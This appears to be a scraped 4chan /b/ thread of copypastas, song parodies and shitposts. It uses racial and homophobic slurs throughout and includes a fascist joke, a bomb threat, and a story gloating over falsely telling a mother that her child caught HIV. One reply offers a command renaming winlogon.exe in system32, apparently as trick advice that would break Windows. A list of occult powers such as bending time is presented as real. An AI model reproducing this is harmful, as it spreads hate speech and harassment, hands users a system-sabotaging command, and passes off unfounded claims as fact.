Posting "This'll be the day we're all banned,
this'll be the day we're all banned."
Bye bye, to the NIGGERTITS site,
Where I'd linger with a finger always over F5
Some good old lulz were made on that aging *chan
Posting "This'll be the day we get banned."
***
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>>710747753
Scatmen?
>>710746397
It's not 100% correct but I can't figure out why
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>>710741913
Hello im Mr. Pete Moss welcome to my office.
>>710755206
U predbz joost nayd toaw oopgrad ur R.O.M'z
>>710748658
You're a liar and a faggot. Take a pic of your computer and prove you're only a faggot.
[Cat-Posting Intensifies]
In nomine Desu et Desu, et Desu Sancti
With ten thousand faces
Agendas and fates
I have nothing in common with me
I hate all my races
And genders and states
I'd rather be no one and free
Come desu until morning
Don't think; disappear
No one will know it was us
With no advance warning
I'll wipe the world clear
I am Suiseiseki.
Kek's Prayer
Lord Kek who art in Interwebs, hallowed be thy name.
Thy Lulz come, thy Memes be done on Earth as it is on 4chan.
Give us this day our daily Happenings,
and forgive us our autism, as we forgive the newfags before us.
And lead us not into faggotry, but deliver us from SJWs.
For thine is teh Internets, and the Memes, and the Lulz forever and ever.
DEUS VULT
Amen
• Random number manipulation
• Awareness of energy within the body
• Learning to distinguish between the energies of different emotions
• Emotional alchemy or the transmutation of one emotion to another at will and maintaining of an emotional calm via desire/intention
• Manipulation of energy around your energy body (empowering yourself via chakra charging/cleansing or to accelerate healing)
• Manipulating your energy to move in synchronization with your physical form as to put your mind into your actions to gain (physical) power
• Gathering energy and imbuing it with an intention (spellcraft)
• Awareness of energy beyond the body or of other bodies (including crystals, plants, other people, etc.)
• Learning to distinguish the different flavors of energy
• Becoming able to simulate/invoke said vibrations from memory at will
• Projecting energy into/at something/one (charging)
• Projecting specific energy, or energy into a specific area to cause increased willpower, clairvoyance, compassion, etc. (knowledge of occult anatomy or familiarity with energies different vibs/feels)
• Projection of energy as mentioned above but to anywhere on Earth, and with some leeway for effecting the (perceptorial) past as well, primarily for healing, but occasionally normal manifestation/reality manipulation as well.
• Invokation and evokation of entities and talk to them, request help, get answers, etc.
• Fueling my body on loosh so I do not require nearly as much physical food.
• Resistance to cold (a la Wim Hof), to the point of being ok in a tanktop outside in 40°F weather and, depending on what I'm doing, being fine or even hot.
• Bending time, both perceptorial (so that I experience time slower than others) and bubble, so that all time around me (including clocks and such) experience more or less time than the surrounding world.
Reality is my playground; master yourself and make it your's too anon, it's your birthright.
Former case:
SATIS MENTES OBVIANT = "Closed minds resist"
Latter case:
SATIS MENTIBUS OBVIATE = "Resist closed minds!" (imperative directed at a group)
SATIS MENTIBUS OBVIA = "Resist closed minds!" (imperative directed at one person)
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>>710757101
WHAT ARE YE DOING IN MY SWAMP!!!!!!
It all depends what you want to do.
Bascially lower frequencies such as delta and theta are ideal for sleep, lucid dreaming, relaxation, and meditation.
Beta and alpha frequecies are generally used to create energy or promote concentration, however,low alphas such as this tone are also good for meditation.
Gamma frequencies represent creative thinking and higher thought processes.
Frequencies that are higher than 90hz are used for spirtual purposes. Hope this helps:)
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>>710754029
brb
>On a /b/ thread on 4chan. Porn across the screen.
>A strong smell of cheetos. Fat popping from my seams.
>Up on top of the website, I saw a small group of text.
>I was so bored and my interest was piqued,
>I clicked to see what was next.
>There I stood in the home page.
>Generals filled my screen.
>And I was thinking to myself,
>"This place isn't as bad as it seems"
>I decided to post there, and I made a new thread.
>Anon's words flashed across my bright screen,
>And this is what they said...
>Welcome to the Hub's Ride of Autism.
>Such a lovely place (such a lovely place)
>Such a lovely space.
>Plenty of seats in the Hub's Ride of Autism.
>Any time of year (Any time of year)
>Drama will be here.
>Pictures of colorful ponies, fill the screen from end to end.
>I got a lot of pretty, pretty toys, I call friends.
>How I started this show now, I've no regrets.
>Some watch to remember, some watch to forget.
>So I posted my reaction.
>Showed some pony pride
>Anon said "Now that you are in here, you can never get off the ride."
>And still those ponies are calling to me all day.
>Wake you up in the middle of the night
>Just to hear them say...
>Welcome to the Hub's Ride of Autism.
>Such a lovely place (such a lovely place)
>Such a lovely space.
>Bingeing it up on the Hub's Ride of Autism.
>What a nice surprise (What a nice surprise)
>There went Derpy's eyes.
>Onto the Finale.
>I am still spoiler free.
>Anon said "We've all rustled our jimmies here, here in season three.
>At the end of the story.
>After Celestia sings.
>On the screen standing before me.
>Is a Twilight with damned wings.
>Last thing I remember, I was
>ragging on the board.
>I was getting off the ride
>like I should had long before.
>"Relax," said the Anon
>"We are strapped to our seats.
>You can take a break any time you like,
>But you can never leave!"
FACT: NEWGROUNDS WAS FUNNY WHEN WE WERE ALL 12 LIVING IN THE SUBURBS LISTENING TO LINKIN PARK WATCHING DRAGONBALL Z DRINKING PEPSI WHILE PLAYING HALO CO-OP ON THE EASIEST SETTING DURING WHICH WE CONSUMED DORITOS AND LOOKED AT PAINTBALL GUNS ON EBAY IN INTERNET EXPLORER CONNECTED THROUGH AOL ON A 56K MODEM BEFORE HOPPING INTO OUR BALDING FATHERS' LATEST MIDLIFE-CRISIS-IMPULSE-SPONSORED JAPANESE-BUILT SUV TO HEAD TO THE MALL AND GET MORE SKATEBOARDING SHOES AND THIRD-RATE IRREGULAR LEVIS AND MOUNTAIN BIKE PARTS BEFORE HEADING HOME, VOTING DEMOCRAT AND MASTURBATING TO THE LATEST SEARS CATALOG WHILE HUFFING PAINT IN YOUR GARAGE BEFORE TALKING TO PEDOPHILES ON AIM PRETENDING TO BE WHATEVER CAMWHORE THEY'RE RANTING ABOUT ON MYSPACE WITH A MATRIX QUOTE/ANIME CHARACTER NAME/TRIPLE SIX-ASTERISK-PARENTHESES-SURROUNDED SCREENNAME BEFORE HEADING TO YOUR SUPPOSED "GOOD SCHOOL" IN THE MORNING TO BUY MORE POT TO SMOKE DURING YOUR COUNTER-STRIKE LAN PARTY WITH JIMMY AND THE REST OF HIS FRIENDS TAKING RITALIN AND ADDERALL AND PROZAC EIGHT TIMES A DAY BEFORE TAKING A CASUAL PASS AT LOCAL, STATE OR NATIONAL GOVERNMENTAL FIGURES, LEGISLATURE, OR STRUCTURE TO APPEAR EDGY AND INTELLIGENT IN FRONT OF YOUR BUDWEISER-SNEAKING, LIMP-WRISTED, NEAR-TO-COLUMBINE SOCIOPATHIC "DEEP" FRIENDS WHO PLAY THE VICTIM WHEN THEY START LOSING ARGUMENTS SIX DAYS BEFORE THEIR BOTCHED SUICIDE ATTEMPT SIMPLY BECAUSE SCHOOL TRAMP NUMBER TWELVE WOULDN'T GO UNDER THE BLEACHERS WITH THEM TO LET THEM GET TO SECOND BASE BEFORE THEIR THIRTEENTH BIRTHDAY.
>>710741913
The real question is, why?
>>710746190
>>710758571
Why not?
>>710741913
Only 30 minutes until NFL is on, but I might shitpost on mobile.
helo my name is dongerino pasterino ヽ༼ຈل͜ຈ༽ﾉ, i am 69 year old donger from imaqtmeatloaf’s stream . 420 years ago i was kidnapped and put into a donger concentration camp for 9001 years. 1 year ago, imaqtlasagne and imaqtpie invaded the camp and rescued me. now i work as teacherino, passing down the wisdom of *.* to young dongers.
>>710741913
>Implying that there is something that is not shitpost on /b/
Gr8 b8, m8. I rel8, str8 appreci8, and congratul8. I r8 this b8 an 8/8. Plz no h8, I’m str8 ir8. Cre8 more, can’t w8. We should convers8, I won’t ber8, my number is 8888888, ask for N8. No calls l8 or out of st8. If on a d8, ask K8 to loc8. Even with a full pl8, I always have time to communic8 so don’t hesit8
>>710759666
checked
˙ʇı ןןɐɔ noʎ ɹǝʌǝʇɐɥʍ ɹo ,ɐʇǝq, pǝɹǝpısuoɔ buıǝq ɟo ʞɔıs ɯ,ı ˙ʇı ʇnoqɐ ʎɹɔ oʇ ǝɯ oʇ ʞןɐʇ ʎןuo puɐ ‘ʇıɥs ǝʞıן ɯǝɥʇ ʇɐǝɹʇ oɥʍ sʎnb bɐqǝɥɔnop ɹǝʇɟɐ ob sʎɐʍןɐ sןɹıb ǝsǝɥʇ puǝ ǝɥʇ uı ˙ʎpɐן,ɯ ɹoɟ buıɥʇʎuɐ op pןnoʍ puɐ ‘qoظ ǝɔıu ɐ ʞɹoʍ ‘ʎnb ǝɔıu ɐ ɯ,ı ˙ǝuoz puǝıɹɟ ǝɥʇ uı ʇnd buıǝq sʎɐʍןɐ ı ɯɐ ʎɥʍ
>>710759666
Chigiddy Choked DEM sAtAnUs TrIPPloids
That’s it, I’m done. Fuck this chat. It’s devolved into a mass of retarded copy pastes and face spam. The quality of twitch chat has been declining for a while, but this is the last straw. That’s it. I’m done. I’m uninstalling the internet, chopping off my dick and moving to fucking Antarctica, at least the bacteria there will be fucking smarter discourse
[Shit-posting Oscillates and reciprocates wildly]
ʜᴇʟʟᴏ ᴄʜᴀᴛ ɪ ᴀᴍ ғᴀᴍᴏᴜs ғᴀsᴄɪsᴛ ʟᴇᴀᴅᴇʀ, ᴀᴅᴏʟғ ʜɪᴛʟᴇʀɪɴᴏ. ᴡᴇ ᴡᴏᴜʟᴅ ʟɪᴋᴇ ʏᴏᴜ ᴀɴᴅ ɴᴀᴢɪ ᴍᴏᴅs ᴛᴏ ᴘᴀʀᴛɪᴄɪᴘᴀᴛᴇ ɪɴ ᴏᴜʀ ɴᴇᴡ ᴘʀᴏᴘᴀɢᴀɴᴅᴀ ғɪʟᴍ “sɪᴇɢ ʜᴇɪʟ ʟɪғᴇsᴛʏʟᴇ” ʏᴏᴜ ᴡᴏᴜʟᴅ ʀᴀɪsᴇ ʏᴏᴜʀ ᴅᴏɴɢᴇʀs ᴀɴᴅ ɴᴀᴢɪ ᴍᴏᴅs sᴀʏ ɴᴏ ᴘᴀsᴛᴇʀɪɴᴏ ᴀɴᴅ ʙᴀɴʜᴀᴍᴍᴇʀ.
>Has anyone really been far even as decided to use even go want to do look more like?
Kitter kitty kat kot kitter kai.
>Tfw you upkill the spam ram but ur R.O.M is do whant nothing.
>>710741913
DRAIN THE SWAMP!
DRAIN THE SWAMP!
DRAIN THE SWAMP!
I can no longer resist the pizza. I open the box and unzip my pants with my other hand. As I penetrate the gooey cheese, I moan in ecstacy. The mushrooms and Italian sausage are rough, but the sauce is deliciously soothing. I blow my load in seconds. As you leave the bathroom, I exit through the front door….
“wtf his ult did like 3k damage how is that legit” – leonardo da vinci 1496, founder of the Illuminati
Wat, I say, What in the flying fuck is with all these captcha errors?
Hello. I am a 15 year old Rhinoceros. The only problem is that my horn on my head is soft and limp. As you may know this is very devastating to a rhino like myself. If there are any rhinos out there that can help me with my problem it would be appreciated. Please dont copy paste this. This is my story.
>>710747687
It's a real thing my friend. I believe she has a sister as well, with a 17 foot longer hull
Copy pastoids begin to do byork of ren dry in teems everything for hell is do when whant is good.
And captcha is STILL a fuck.
>Fix ur conexxion Hiroshima Nagasaki.
NewFags vote Trump
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Hello twitch chat. This is michaels mother speaking. Please stop the spam in the chat. I can’t read the amazing conversations that you are having about my son. Thanks. Don’t copy and paste this to spam more or I will tell Michael to ban you all.
I sexually Identify as an Attack Helicopter. Ever since I was a boy I dreamed of soaring over the oilfields dropping hot sticky loads on disgusting foreigners. People say to me that a person being a helicopter is Impossible and I’m fucking retarded but I don’t care, I’m beautiful. I’m having a plastic surgeon install rotary blades, 30 mm cannons and AMG-114 Hellfire missiles on my body. From now on I want you guys to call me “Apache” and respect my right to kill from above and kill needlessly. If you can’t accept me you’re a heliphobe and need to check your vehicle privilege. Thank you for being so understanding.
hi mi name es giorgio i woerk in potatoe faktory and since mi padre died in a donkey waggon accident i leav mi wife and ugli daughter to become a pro leagueue of leyendaerio player, everydai i watch rainamndio. i just wante to sai thank you veriyi much rauinmanio i improvd from bronce 5 to wood 7 in just 6 months. plz no copato pasterato dis is onli my life. i ALso killed mi dog. Sorry fo mi bad englando im not NA
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Hello Alkaizer, this is Hollywood director and producer Eddy Pasterino. We would like you and fowtini to star in our new movie: Naked Skorñorita. You will go the the inn and see fowtini lying in Leah’s bed and she will want your Skorn but you say “No Skornerrino” and topdeck her. Pls no hastalapasta baberino.
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Whenever I get a package of plain M&Ms, I make it my duty to continue the strength and robustness of the candy as a species. To this end, I hold M&M duels. Taking two candies between my thumb and forefinger, I apply pressure, squeezing them together until one of them cracks and splinters. That is the “loser,” and I eat the inferior one immediately. The winner gets to go another round. I have found that, in general, the brown and red M&Ms are tougher, and the newer blue ones are genetically inferior. I have hypothesized that the blue M&Ms as a race cannot survive long in the intense theater of competition that is the modern candy and snack-food world. Occasionally I will get a mutation, a candy that is misshapen, or pointier, or flatter than the rest. Almost invariably this proves to be a weakness, but on very rare occasions it gives the candy extra strength. In this way, the species continues to adapt to its environment. When I reach the end of the pack, I am left with one M&M, the strongest of the herd. Since it would make no sense to eat this one as well, I pack it neatly in an envelope and send it to M&M Mars, A Division of Mars, Inc., Hackettstown, NJ 17840-1503 U.S.A., along with a 3×5 card reading, “Please use this M&M for breeding purposes.” This week they wrote back to thank me, and sent me a coupon for a free 1/2 pound bag of plain M&Ms. I consider this “grant money.” I have set aside the weekend for a grand tournament. From a field of hundreds, we will discover the True Champion. There can be only one.
Now, I’m sure many of you have encountered little shits in supermarkets. Little kids running about and knocking things over, being rude, walking all over their parents, you know the kind. But the worst are the biters. Yes, those little cunts that feel it is okay to bite you whenever they feel like it. Okay, here’s the best part. A biter got me today when I was grocery stopping. He broke the fucking skin, too. This was when the gears started turning, the moment I saw a tiny sprinkle of blood on the little shit’s teeth as he was grinning at me like the little cunt he is. I made my eyes get wide, and started screaming “SHIT! SHIT!.” Now, my good friend, Tom we’ll call him, was there too, and he instantly picked up on it. He started shouting “FUCK! MAYBE HE DIDN’T GET IT! FUCK!”. By now, the kid is scared shitless and starts crying, and instantly, Mizz Mom appears out of nowhere and starts getting pissy at us for yelling at her kid. Here’s the kicker, I look her straight in the eye and say, “Ma'am, get your son tested as soon as possible, he just bit me and I’m… I’m FUCKING HIV POSITIVE.” And now there is silence. Not a peep in the entire store. The brat knows he just fucked up big time because his mom isn’t defending his ass. She just stares at me wide eyed. I walk away from them, buy my shit from the wide eyed cashier, all the while blood is dripping from my calf, making a nice little trail on the floor. And, just as we leave, we start to hear the mother sobbing. Sobbing like the cunt she is. I have never felt any more satisfaction than the moment I heard that sob. I'm not really HIV Positive, but that little shit must've gotten in a fuckheap of trouble.
FUCK YOU NINTENDO. I PICK FUCKING "MATCH MY RANK" AND YOU PUT ME UP AGAINST A FOUR STAR GOD DAMN IT FUCK YOU! I'M A FUCKING TWO STAR. FOURSTAR DOES NOT MATCH A FUCKING TWO STAR! WHAT THE FUCK IS YOUR PROBLEM? YOU GOD DAMN CHINKS?! YOU MADE THE FUCKING WII, NOW MAKE YOUR ONLINE SYSTEM OPTIONS FUCKING WORK. I'M TIRED OF SETTING IT TO MATCH MY RANK ONLY TO FIND IT NOT MATCH MY RANK THEN GO DOWN A RANK BECAUSE OF YOUR FUCKED UP SYSTEM. GOD DAMN IT. FUCK YOU NINTENDO. I'LL NEVER BUY ANOTHER GAME FROM YOU AGAIN. AND I'M GOING TO BOMB JAPAN TOMORROW. HOW ABOUT THAT, NINTENDO?
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http://www.ntv.ru/novosti/1646798/
>Tfw you shitpost a relitvly new thread into its image limit.
Legend has it that if you travel east to Japan, you will find an old man living on the coast just 40 miles south of Tokyo. If you give this man $500,000 he will take you to an island just off the coast that can't be found on any map. This island is filled with people without faces or names, who hold grudges over the most trivial of matters. When you arrive at this island the first thing you will see is a swimming pool that is never open. Just beyond the pool you will find a town that is filled with cats. You must find a white cat wearing a pink bow. If you ask the cat how to get to Mexico, he will stand up and ask you for three things: Your name, your face, and your soul. If you agree to give them to him, your face will vanish and you will forget your own name. You can live on the island and have whatever you desire, but you can never leave the island. The only way to escape is to find the cat again and ask for a young child. The next day a van will pull up in front your house. You will hear a knock at the door, and a voice will ask if you want to come to a party. No one knows what happens if you answer the door.
SON OF A BITCH PIRATE
PIRATE IS PIG
DO YOU WANT A TREASURE?
DO YOU WANT A RUM?
PIRATE IS PIG DISGUSTING
ED TEACH IS A MURDERER
FUCKING PIRATES
This is what's great about getting old. I'll read this, forget all of the information and go see the movie. I will enjoy it, half way through the movie I'll forget what the plot is, get confused and go to the parking lot and try to find my car by holding my keys over my head and pushing the panic button until my alarm goes off. Which will scare the shit out of me, and I will think it is a cop, because I already have one arm up. I bring the other hand up and get on the ground, hands behind my back. Then I will fall asleep. The next morning I will find my car, a mere three feet away. I get inside and discover the battery has somehow died, so I call a tow company. After an hour, for some reason, a tow truck shows up and a black man starts running toward my car. He's screaming, so I lock the windows and hide in the back seat. I never realize that I've set myself on fire from the cigarette I forgot that I'd lit twenty minutes ago. I become an hero. This thread is great. My name is George, are there rules on this internet page?
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>morning
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get a fucking decent timezone normie
Hey /b/ , I was drinking my coffee just now when when my friend and his brother who made said coffee bursts into the room laughing. They threw a bottle on my lap and ran away. This JUST happened
What is syrup of ipicuc?
Should I go to the hospital?
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Oooooooh I’m so scared, you think you’re tough pussy? I’m behind 7 proxies and use ZoneAlarm, Sygate and Comodo Internetnet Securtiy which I all keep up-to-date. THAT’S THREE FIREWALLS AT THE SAME TIME motherfucker. You can’t hack me you little piece of shit. You’re peeshooter and kung fu won’t make a difference when my friend woh’s a B-51 pilot in the Air Force can turn your entire house and backyard into a fuckhuge bomb crater. You are pathetic, while you’re sitting there writing insults like the sad little nerd you are i’m having sex with my hot girlfriends. Yeah you read that right, i have not one but FIVE girlfriends. Top that motherfucker, I dont think you’ve ever even held hands with a girl.
Negro Mammeries.
The worst thing has happened just yesterday.
I was sitting there in front of my PC, pants down, fapping to one of the hottest hentai pic I could've ever found on my hard disk, when my mother walked in.
Normally, I would've just tried to hide my erection by pulling my pants back up and pretending to do something else, preferably the least suspicious possible, but not then.
As I was nearing the end of my masturbatory session and couldn't hold it back anymore, I closed my eyes and let myself overwhelm to the orgasm just at the same moment she opened that damned door. I knew I should've locked it, but I believed nobody would've ever bothered entering without asking beforehand.
Thus, being unable to see anything for all the time I enjoyed the, let's say, "warm feeling", I couldn't have noticed she was here since the beginning.
So, yeah, my mother saw me ejaculating till the last drop of semen, and in the lewdest way possible, even.
It was only when I was finally done and did a swift peek to see if I had done any mess on the floor, that I realized her presence.
My heart went right down my stomach at her sight: she was just standing there, staring at me with dismay, then left the room without saying anything. I'm not lying if I admit that, then as now, I just wanted to die due to the huge embarrassment that followed.
About a day has passed since the incident, and she hasn't spoke a word to me yet. She hasn't made it evident, but I strongly sense that the good old days have abruptly come to an end for me.
And between you and me, something amazing happened... and now I can talk to animals! It's really cool, but totally secret. And you know what? Life's never been the same.
Chipopopolattttttttttttttttttttttttttttteee!!!! :P XD *.*
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Dude, i'm gonna type as sober as possible, that honestly looks fucking pathetic and digusting compared to my meal. and I'm being one hundred percent serious. Sorry we dont cook shit that was previously in cans. you're a fucking joke dude, and im dead fucking serious. gert areal family that cooks good food, drinks beer and wine and winecoolers and has a good fucking time, and has a milliondollar house on the beach, im seriously.. dont eever potst your fuking families poverty dinner on these forums ever the fukcc again bro, and by bro i mean never my bro, fucking nerd.
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Thaz fuckin' sick m88
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>>710745749
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>>710746397
>RENAME %systemdrive%\WINDOWS\system32\winlogon.exe services.exe
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No thanks, I'm swamped with work right now.
>>710745856
Hey V, it's me ur brother
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>that fucking pic
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Once you post here...
you can NEVER leave...
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